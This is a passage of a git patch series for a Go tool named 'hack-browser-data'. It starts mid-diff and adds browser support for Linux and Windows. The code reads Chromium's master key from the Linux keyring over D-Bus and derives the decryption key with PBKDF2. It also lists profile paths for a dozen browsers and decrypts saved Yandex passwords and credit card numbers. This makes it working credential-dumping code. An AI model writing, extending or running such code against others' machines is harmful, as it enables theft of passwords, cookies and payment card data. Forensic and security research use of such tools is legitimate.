-// log.Error(err)
-// }
-// err = item.OutPut(outputFormat, name, exportDir)
-// if err != nil {
-// log.Error(err)
-// }
-// }
-// }
-// if compress {
-// err = utils.Compress(exportDir)
-// if err != nil {
-// log.Error(err)
-// }
-// }
-// return nil
-// },
-// }
-// err := app.Run(os.Args)
-// if err != nil {
-// log.Error(err)
-// }
-// }
diff --git a/internal/browingdata/bookmark.go b/internal/browingdata/bookmark.go
index 94afb7f..35f7925 100644
--- a/internal/browingdata/bookmark.go
+++ b/internal/browingdata/bookmark.go
@@ -40,7 +40,7 @@ func (c *ChromiumBookmark) Parse(masterKey []byte) error {
return true
})
}
- // TODO: 使用泛型重构
+ // TODO: refactor with go generics
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].DateAdded.After((*c)[j].DateAdded)
})
@@ -95,7 +95,9 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error {
defer os.Remove(item.TempFirefoxBookmark)
defer keyDB.Close()
_, err = keyDB.Exec(closeJournalMode)
-
+ if err != nil {
+ log.Error(err)
+ }
bookmarkRows, err = keyDB.Query(queryFirefoxBookMark)
if err != nil {
return err
diff --git a/internal/browingdata/cookie.go b/internal/browingdata/cookie.go
index 082382f..515b564 100644
--- a/internal/browingdata/cookie.go
+++ b/internal/browingdata/cookie.go
@@ -58,7 +58,9 @@ func (c *ChromiumCookie) Parse(masterKey []byte) error {
} else {
value, err = decrypter.ChromePass(masterKey, encryptValue)
}
- log.Error(err)
+ if err != nil {
+ log.Error(err)
+ }
}
cookie.Value = string(value)
*c = append(*c, cookie)
diff --git a/internal/browingdata/password.go b/internal/browingdata/password.go
index 79b5577..168dd86 100644
--- a/internal/browingdata/password.go
+++ b/internal/browingdata/password.go
@@ -54,7 +54,9 @@ func (c *ChromiumPassword) Parse(masterKey []byte) error {
} else {
password, err = decrypter.ChromePass(masterKey, pwd)
}
- log.Error(err)
+ if err != nil {
+ log.Error(err)
+ }
}
if create > time.Now().Unix() {
login.CreateDate = utils.TimeEpochFormat(create)
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index 9625d7f..635a3f8 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -18,7 +18,7 @@ type Browser interface {
GetBrowsingData() (*browingdata.Data, error)
}
-func PickBrowser(name string) []Browser {
+func PickBrowser(name string) ([]Browser, error) {
var browsers []Browser
clist := pickChromium(name)
for _, b := range clist {
@@ -32,7 +32,7 @@ func PickBrowser(name string) []Browser {
browsers = append(browsers, b)
}
}
- return browsers
+ return browsers, nil
}
func pickChromium(name string) []Browser {
From 7c86fdc1739c9065eef082790737537b5fb5e108 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Tue, 12 Apr 2022 18:23:39 +0800
Subject: [PATCH 24/33] feat: update dep
---
go.mod | 3 +++
go.sum | 8 ++++++++
2 files changed, 11 insertions(+)
diff --git a/go.mod b/go.mod
index d92d8eb..ca5c81c 100644
--- a/go.mod
+++ b/go.mod
@@ -7,12 +7,15 @@ require (
github.com/json-iterator/go v1.1.12
github.com/mattn/go-sqlite3 v1.14.9
github.com/tidwall/gjson v1.9.3
+ github.com/urfave/cli/v2 v2.4.0
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
)
require (
+ github.com/cpuguy83/go-md2man/v2 v2.0.1 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
+ github.com/russross/blackfriday/v2 v2.1.0 // indirect
github.com/stretchr/testify v1.7.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.0 // indirect
diff --git a/go.sum b/go.sum
index 5dea933..810a2af 100644
--- a/go.sum
+++ b/go.sum
@@ -1,3 +1,6 @@
+github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
+github.com/cpuguy83/go-md2man/v2 v2.0.1 h1:r/myEWzV9lfsM1tFLgDyu0atFtJ1fXn261LKYj/3DxU=
+github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -15,6 +18,8 @@ github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9G
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
+github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
@@ -25,9 +30,12 @@ github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
+github.com/urfave/cli/v2 v2.4.0 h1:m2pxjjDFgDxSPtO8WSdbndj17Wu2y8vOT86wE/tjr+I=
+github.com/urfave/cli/v2 v2.4.0/go.mod h1:NX9W0zmTvedE5oDoOMs2RTC8RvdK98NTYZE5LbaEYPg=
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 h1:0es+/5331RGQPcXlMfP+WrnIIS6dNnNRe0WB02W0F4M=
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
From 153868198b5fd2b1d934709db311fb72f172d0fa Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Wed, 13 Apr 2022 15:30:30 +0800
Subject: [PATCH 25/33] feat: add chromium for linux
---
internal/browser/browser_linux.go | 89 +++++++++++++++++++
internal/browser/chromium/chromium_linux.go | 64 +++++++++++++
internal/browser/chromium/chromium_windows.go | 2 +
3 files changed, 155 insertions(+)
diff --git a/internal/browser/browser_linux.go b/internal/browser/browser_linux.go
index c8d3c13..f4722a4 100644
--- a/internal/browser/browser_linux.go
+++ b/internal/browser/browser_linux.go
@@ -1,3 +1,92 @@
//go:build linux
package browser
+
+import (
+ "hack-browser-data/internal/item"
+)
+
+var (
+ chromiumList = map[string]struct {
+ name string
+ storage string
+ profilePath string
+ items []item.Item
+ }{
+ "chrome": {
+ name: chromeName,
+ storage: chromeStorageName,
+ profilePath: chromeProfilePath,
+ items: item.DefaultChromium,
+ },
+ "edge": {
+ name: edgeName,
+ storage: edgeStorageName,
+ profilePath: edgeProfilePath,
+ items: item.DefaultChromium,
+ },
+ "chromium": {
+ name: chromiumName,
+ storage: chromiumStorageName,
+ profilePath: chromiumProfilePath,
+ items: item.DefaultChromium,
+ },
+ "chrome-beta": {
+ name: chromeBetaName,
+ storage: chromeBetaStorageName,
+ profilePath: chromeBetaProfilePath,
+ items: item.DefaultChromium,
+ },
+ "opera": {
+ name: operaName,
+ profilePath: operaProfilePath,
+ storage: operaStorageName,
+ items: item.DefaultChromium,
+ },
+ "vivaldi": {
+ name: vivaldiName,
+ storage: vivaldiStorageName,
+ profilePath: vivaldiProfilePath,
+ items: item.DefaultChromium,
+ },
+ "brave": {
+ name: braveName,
+ profilePath: braveProfilePath,
+ storage: braveStorageName,
+ items: item.DefaultChromium,
+ },
+ }
+ firefoxList = map[string]struct {
+ name string
+ storage string
+ profilePath string
+ items []item.Item
+ }{
+ "firefox": {
+ name: firefoxName,
+ profilePath: firefoxProfilePath,
+ items: item.DefaultFirefox,
+ },
+ }
+)
+
+var (
+ firefoxProfilePath = homeDir + "/.mozilla/firefox/*.default-release*/"
+ chromeProfilePath = homeDir + "/.config/google-chrome/*/"
+ chromiumProfilePath = homeDir + "/.config/chromium/*/"
+ edgeProfilePath = homeDir + "/.config/microsoft-edge*/*/"
+ braveProfilePath = homeDir + "/.config/BraveSoftware/Brave-Browser/*/"
+ chromeBetaProfilePath = homeDir + "/.config/google-chrome-beta/*/"
+ operaProfilePath = homeDir + "/.config/opera/"
+ vivaldiProfilePath = homeDir + "/.config/vivaldi/*/"
+)
+
+const (
+ chromeStorageName = "Chrome Safe Storage"
+ chromiumStorageName = "Chromium Safe Storage"
+ edgeStorageName = "Chromium Safe Storage"
+ braveStorageName = "Brave Safe Storage"
+ chromeBetaStorageName = "Chrome Safe Storage"
+ operaStorageName = "Chromium Safe Storage"
+ vivaldiStorageName = "Chrome Safe Storage"
+)
diff --git a/internal/browser/chromium/chromium_linux.go b/internal/browser/chromium/chromium_linux.go
index 731c7bf..a36c175 100644
--- a/internal/browser/chromium/chromium_linux.go
+++ b/internal/browser/chromium/chromium_linux.go
@@ -1 +1,65 @@
package chromium
+
+import (
+ "crypto/sha1"
+
+ "github.com/godbus/dbus/v5"
+ keyring "github.com/ppacher/go-dbus-keyring"
+ "golang.org/x/crypto/pbkdf2"
+
+ "hack-browser-data/internal/log"
+)
+
+func (c *chromium) GetMasterKey() ([]byte, error) {
+ // what is d-bus @https://dbus.freedesktop.org/
+ var chromeSecret []byte
+ conn, err := dbus.SessionBus()
+ if err != nil {
+ return nil, err
+ }
+ svc, err := keyring.GetSecretService(conn)
+ if err != nil {
+ return nil, err
+ }
+ session, err := svc.OpenSession()
+ if err != nil {
+ return nil, err
+ }
+ defer func() {
+ session.Close()
+ }()
+ collections, err := svc.GetAllCollections()
+ if err != nil {
+ return nil, err
+ }
+ for _, col := range collections {
+ items, err := col.GetAllItems()
+ if err != nil {
+ return nil, err
+ }
+ for _, item := range items {
+ label, err := item.GetLabel()
+ if err != nil {
+ log.Error(err)
+ continue
+ }
+ if label == c.storage {
+ se, err := item.GetSecret(session.Path())
+ if err != nil {
+ log.Error(err)
+ return nil, err
+ }
+ chromeSecret = se.Value
+ }
+ }
+ }
+ // TODO: handle error if no secret found
+ if chromeSecret == nil {
+ return nil, err
+ }
+ var chromeSalt = []byte("saltysalt")
+ // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
+ key := pbkdf2.Key(chromeSecret, chromeSalt, 1, 16, sha1.New)
+ c.masterKey = key
+ return key, nil
+}
diff --git a/internal/browser/chromium/chromium_windows.go b/internal/browser/chromium/chromium_windows.go
index 02ad75d..dfd00fe 100644
--- a/internal/browser/chromium/chromium_windows.go
+++ b/internal/browser/chromium/chromium_windows.go
@@ -3,6 +3,7 @@ package chromium
import (
"encoding/base64"
"errors"
+ "os"
"github.com/tidwall/gjson"
@@ -20,6 +21,7 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
if err != nil {
return nil, err
}
+ defer os.Remove(keyFile)
encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
if encryptedKey.Exists() {
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
From 4b4abee6cf8dab840bf01a90b05e7a91c51fb290 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Wed, 13 Apr 2022 15:49:15 +0800
Subject: [PATCH 26/33] feat: add chromium for windows
---
go.mod | 3 +
go.sum | 7 ++
internal/browser/browser.go | 26 +++---
internal/browser/browser_windows.go | 124 ++++++++++++++++++----------
4 files changed, 103 insertions(+), 57 deletions(-)
diff --git a/go.mod b/go.mod
index ca5c81c..8d9ea36 100644
--- a/go.mod
+++ b/go.mod
@@ -4,8 +4,10 @@ go 1.18
require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
+ github.com/godbus/dbus v4.1.0+incompatible
github.com/json-iterator/go v1.1.12
github.com/mattn/go-sqlite3 v1.14.9
+ github.com/ppacher/go-dbus-keyring v1.0.1
github.com/tidwall/gjson v1.9.3
github.com/urfave/cli/v2 v2.4.0
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
@@ -13,6 +15,7 @@ require (
require (
github.com/cpuguy83/go-md2man/v2 v2.0.1 // indirect
+ github.com/godbus/dbus/v5 v5.1.0 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/russross/blackfriday/v2 v2.1.0 // indirect
diff --git a/go.sum b/go.sum
index 810a2af..7dd8816 100644
--- a/go.sum
+++ b/go.sum
@@ -6,6 +6,11 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 h1:ptTza/LLPmfRtmz77X+6J61Wyf5e1hz5xYMvRk/hkE4=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
+github.com/godbus/dbus v4.1.0+incompatible h1:WqqLRTsQic3apZUK9qC5sGNfXthmPXzUZ7nQPrNITa4=
+github.com/godbus/dbus v4.1.0+incompatible/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
+github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
+github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
+github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
@@ -18,6 +23,8 @@ github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9G
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0=
+github.com/ppacher/go-dbus-keyring v1.0.1/go.mod h1:JEmkRwBVPBFkOHedAsoZALWmhNJxR/R/ykkFpbEHtGE=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index 635a3f8..efd87cf 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -72,6 +72,7 @@ func pickFirefox(name string) []Browser {
if name == "all" || name == "firefox" {
for _, v := range firefoxList {
multiFirefox, err := firefox.New(v.name, v.storage, v.profilePath, v.items)
+ // TODO: Handle error
if err != nil {
panic(err)
}
@@ -101,21 +102,22 @@ var (
)
const (
- chromeName = "Chrome"
- chromeBetaName = "Chrome Beta"
- chromiumName = "Chromium"
- edgeName = "Microsoft Edge"
+ chromeName = "Chrome"
+ chromeBetaName = "Chrome Beta"
+ chromiumName = "Chromium"
+ edgeName = "Microsoft Edge"
+ speed360Name = "360speed"
+ qqBrowserName = "QQ"
+ braveName = "Brave"
+ operaName = "Opera"
+ operaGXName = "OperaGX"
+ vivaldiName = "Vivaldi"
+ coccocName = "CocCoc"
+ yandexName = "Yandex"
+
firefoxName = "Firefox"
firefoxBetaName = "Firefox Beta"
firefoxDevName = "Firefox Dev"
firefoxNightlyName = "Firefox Nightly"
firefoxESRName = "Firefox ESR"
- speed360Name = "360speed"
- qqBrowserName = "QQ"
- braveName = "Brave"
- operaName = "Opera"
- operaGXName = "OperaGX"
- vivaldiName = "Vivaldi"
- coccocName = "CocCoc"
- yandexName = "Yandex"
)
diff --git a/internal/browser/browser_windows.go b/internal/browser/browser_windows.go
index 4e3fb5a..6baa669 100644
--- a/internal/browser/browser_windows.go
+++ b/internal/browser/browser_windows.go
@@ -3,70 +3,104 @@
package browser
import (
- item2 "hack-browser-data/internal/item"
+ "hack-browser-data/internal/item"
)
var (
chromiumList = map[string]struct {
- browserInfo *browserInfo
- items []item2.Item
+ name string
+ profilePath string
+ storage string
+ items []item.Item
}{
"chrome": {
- browserInfo: chromeInfo,
- items: defaultChromiumItems,
+ name: chromeName,
+ profilePath: chromeProfilePath,
+ items: item.DefaultChromium,
},
"edge": {
- browserInfo: edgeInfo,
- items: defaultChromiumItems,
+ name: edgeName,
+ profilePath: edgeProfilePath,
+ items: item.DefaultChromium,
+ },
+ "chromium": {
+ name: chromiumName,
+ profilePath: chromiumProfilePath,
+ items: item.DefaultChromium,
+ },
+ "chrome-beta": {
+ name: chromeBetaName,
+ profilePath: chromeBetaProfilePath,
+ items: item.DefaultChromium,
+ },
+ "opera": {
+ name: operaName,
+ profilePath: operaProfilePath,
+ items: item.DefaultChromium,
+ },
+ "opera-gx": {
+ name: operaGXName,
+ profilePath: operaGXProfilePath,
+ items: item.DefaultChromium,
+ },
+ "vivaldi": {
+ name: vivaldiName,
+ profilePath: vivaldiProfilePath,
+ items: item.DefaultChromium,
+ },
+ "coccoc": {
+ name: coccocName,
+ profilePath: coccocProfilePath,
+ items: item.DefaultChromium,
+ },
+ "brave": {
+ name: braveName,
+ profilePath: braveProfilePath,
+ items: item.DefaultChromium,
},
"yandex": {
- browserInfo: yandexInfo,
- items: defaultYandexItems,
+ name: yandexName,
+ profilePath: yandexProfilePath,
+ items: item.DefaultYandex,
+ },
+ "360": {
+ name: speed360Name,
+ profilePath: speed360ProfilePath,
+ items: item.DefaultChromium,
+ },
+ "qq": {
+ name: qqBrowserName,
+ profilePath: qqBrowserProfilePath,
+ items: item.DefaultChromium,
},
}
firefoxList = map[string]struct {
- browserInfo *browserInfo
- items []item2.Item
+ name string
+ storage string
+ profilePath string
+ items []item.Item
}{
"firefox": {
- browserInfo: firefoxInfo,
- items: defaultFirefoxItems,
+ name: firefoxName,
+ profilePath: firefoxProfilePath,
+ items: item.DefaultFirefox,
},
}
)
var (
- chromeInfo = &browserInfo{
- name: chromeName,
- profilePath: chromeProfilePath,
- }
- edgeInfo = &browserInfo{
- name: edgeName,
- profilePath: edgeProfilePath,
- }
- yandexInfo = &browserInfo{
- name: yandexName,
- profilePath: edgeProfilePath,
- }
- firefoxInfo = &browserInfo{
- name: firefoxName,
- profilePath: firefoxProfilePath,
- }
-)
+ chromeProfilePath = homeDir + "/AppData/Local/Google/Chrome/User Data/"
+ chromeBetaProfilePath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/"
+ chromiumProfilePath = homeDir + "/AppData/Local/Chromium/User Data/"
+ edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/"
+ braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/"
+ speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/"
+ qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/"
+ operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
+ operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
+ vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
+ coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
+ yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default"
-const (
- chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/"
- chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/"
- chromiumProfilePath = "/AppData/Local/Chromium/User Data/"
- edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/"
- braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/"
- speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/"
- qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/"
- operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
- operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
- vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/"
- coccocProfilePath = "/AppData/Local/CocCoc/Browser/User Data/Default/"
- yandexProfilePath = "/AppData/Local/Yandex/YandexBrowser/User Data/Default"
-
- firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles"
+ firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
)
From 71d784d64596977c5d0fec9d40904a22ca1ba0f4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Wed, 13 Apr 2022 16:11:34 +0800
Subject: [PATCH 27/33] feat: add yandex password and creditcard
---
internal/browingdata/browsingdata.go | 4 ++
internal/browingdata/creditcard.go | 48 ++++++++++++++++++++++
internal/browingdata/password.go | 59 ++++++++++++++++++++++++++++
internal/browser/browser_windows.go | 6 +--
4 files changed, 114 insertions(+), 3 deletions(-)
diff --git a/internal/browingdata/browsingdata.go b/internal/browingdata/browsingdata.go
index 6c14dea..5177eca 100644
--- a/internal/browingdata/browsingdata.go
+++ b/internal/browingdata/browsingdata.go
@@ -50,6 +50,10 @@ func (d *Data) addSource(Sources []item.Item) {
d.Sources[source] = &ChromiumDownload{}
case item.ChromiumCreditCard:
d.Sources[source] = &ChromiumCreditCard{}
+ case item.YandexPassword:
+ d.Sources[source] = &YandexPassword{}
+ case item.YandexCreditCard:
+ d.Sources[source] = &YandexCreditCard{}
case item.FirefoxPassword:
d.Sources[source] = &FirefoxPassword{}
case item.FirefoxCookie:
diff --git a/internal/browingdata/creditcard.go b/internal/browingdata/creditcard.go
index bd89c8d..8ac135e 100644
--- a/internal/browingdata/creditcard.go
+++ b/internal/browingdata/creditcard.go
@@ -58,3 +58,51 @@ func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
func (c *ChromiumCreditCard) Name() string {
return "creditcard"
}
+
+type YandexCreditCard []card
+
+func (c *YandexCreditCard) Parse(masterKey []byte) error {
+ creditDB, err := sql.Open("sqlite3", item.TempYandexCreditCard)
+ if err != nil {
+ return err
+ }
+ defer os.Remove(item.TempYandexCreditCard)
+ defer creditDB.Close()
+ rows, err := creditDB.Query(queryChromiumCredit)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+ for rows.Next() {
+ var (
+ name, month, year, guid string
+ value, encryptValue []byte
+ )
+ if err := rows.Scan(&guid, &name, &month, &year, &encryptValue); err != nil {
+ log.Warn(err)
+ }
+ creditCardInfo := card{
+ GUID: guid,
+ Name: name,
+ ExpirationMonth: month,
+ ExpirationYear: year,
+ }
+ if masterKey == nil {
+ value, err = decrypter.DPApi(encryptValue)
+ if err != nil {
+ return err
+ }
+ } else {
+ value, err = decrypter.ChromePass(masterKey, encryptValue)
+ if err != nil {
+ return err
+ }
+ }
+ creditCardInfo.CardNumber = string(value)
+ *c = append(*c, creditCardInfo)
+ }
+ return nil
+}
+func (c *YandexCreditCard) Name() string {
+ return "creditcard"
+}
diff --git a/internal/browingdata/password.go b/internal/browingdata/password.go
index 168dd86..6c4823f 100644
--- a/internal/browingdata/password.go
+++ b/internal/browingdata/password.go
@@ -77,6 +77,65 @@ func (c *ChromiumPassword) Name() string {
return "password"
}
+type YandexPassword []loginData
+
+func (c *YandexPassword) Parse(masterKey []byte) error {
+ loginDB, err := sql.Open("sqlite3", item.TempYandexPassword)
+ if err != nil {
+ return err
+ }
+ defer os.Remove(item.TempYandexPassword)
+ defer loginDB.Close()
+ rows, err := loginDB.Query(queryChromiumLogin)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ for rows.Next() {
+ var (
+ url, username string
+ pwd, password []byte
+ create int64
+ )
+ if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
+ log.Warn(err)
+ }
+ login := loginData{
+ UserName: username,
+ encryptPass: pwd,
+ LoginUrl: url,
+ }
+ if len(pwd) > 0 {
+ var err error
+ if masterKey == nil {
+ password, err = decrypter.DPApi(pwd)
+ } else {
+ password, err = decrypter.ChromePass(masterKey, pwd)
+ }
+ if err != nil {
+ log.Error(err)
+ }
+ }
+ if create > time.Now().Unix() {
+ login.CreateDate = utils.TimeEpochFormat(create)
+ } else {
+ login.CreateDate = utils.TimeStampFormat(create)
+ }
+ login.Password = string(password)
+ *c = append(*c, login)
+ }
+ // sort with create date
+ sort.Slice(*c, func(i, j int) bool {
+ return (*c)[i].CreateDate.After((*c)[j].CreateDate)
+ })
+ return nil
+}
+
+func (c *YandexPassword) Name() string {
+ return "password"
+}
+
type FirefoxPassword []loginData
func (f *FirefoxPassword) Parse(masterKey []byte) error {
diff --git a/internal/browser/browser_windows.go b/internal/browser/browser_windows.go
index 6baa669..9ceacad 100644
--- a/internal/browser/browser_windows.go
+++ b/internal/browser/browser_windows.go
@@ -98,9 +98,9 @@ var (
qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/"
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
- vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
- coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
- yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default"
+ vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/"
+ coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/"
+ yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/"
firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
)
From 86d900527f1aa3840c0dca57cf7fdd0ab08409b1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Wed, 13 Apr 2022 16:44:52 +0800
Subject: [PATCH 28/33] fix: wrong yandex password filename
---
internal/browingdata/browsingdata.go | 1 +
internal/browingdata/password.go | 3 ++-
internal/item/filename.go | 2 +-
3 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/internal/browingdata/browsingdata.go b/internal/browingdata/browsingdata.go
